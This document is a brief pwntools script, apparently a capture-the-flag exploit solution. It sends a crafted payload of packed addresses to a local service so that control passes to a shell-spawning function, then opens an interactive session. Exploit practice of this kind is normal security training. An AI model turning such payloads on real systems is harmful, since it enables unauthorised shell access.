#!/usr/bin/env python
from pwn import *

r = remote("127.0.0.1",8889)

buf = 0x00000000601160
sh = 0x400906

r.sendline((p64(buf+8)+p64(sh)).ljust(24,"\x00"))

r.interactive()
